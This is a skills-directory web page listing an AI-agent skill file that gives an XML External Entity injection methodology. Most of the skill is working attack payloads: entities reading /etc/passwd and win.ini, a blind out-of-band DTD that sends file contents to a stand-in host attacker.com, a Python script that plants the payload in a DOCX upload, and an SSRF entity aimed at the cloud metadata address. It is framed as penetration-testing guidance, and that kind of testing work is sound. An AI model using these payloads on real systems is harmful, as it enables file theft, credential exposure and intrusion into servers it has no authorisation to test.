Skip to content
Back to skills

Xxe

BSecurity

XML External Entity injection expert methodology. Covers classic XXE, blind OOB XXE, XXE via file upload, XXE to SSRF, and XXE in PDF/DOCX parsers.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentspythontestinggitsecurity

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill xxe --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Xxe?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Xxe
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-xxe/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-xxe)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: xxe
description: XML External Entity injection expert methodology. Covers classic XXE, blind OOB XXE, XXE via file upload, XXE to SSRF, and XXE in PDF/DOCX parsers.
version: 1.0.0
license: Apache-2.0
---

# XML External Entity (XXE) Injection

## Detection

Inject a custom DOCTYPE with an external entity reference:

```xml
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://burpcollaborator.net">]>
<root>&xxe;</root>
```

If the collaborator receives a DNS/HTTP callback: XXE confirmed.

## Classic XXE (Local File Read)

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

```xml
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
```

## Blind XXE (OOB via DTD)

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
<foo>bar</foo>
```

**malicious.dtd** (hosted on attacker.com):
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
```

## XXE via File Upload

Test XML-based file formats: DOCX, XLSX, PPTX, SVG, ODT, RSS.

```python
# DOCX = zip containing XML files — inject XXE into word/document.xml
import zipfile, shutil, os

shutil.copy('normal.docx', 'xxe.docx')
with zipfile.ZipFile('xxe.docx', 'a') as z:
    z.writestr('word/document.xml',
        '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>')
```

## XXE to SSRF

```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
```

## Tools

- Burp Suite — active scanner detects XXE
- [XXEInjector](https://github.com/enjoiz/XXEinjector) — automated XXE exfiltration
- [DTD cheat sheet](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity) — HackTricks reference

## OWASP Mapping

- A05:2021 — Security Misconfiguration (XML parser hardening)

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.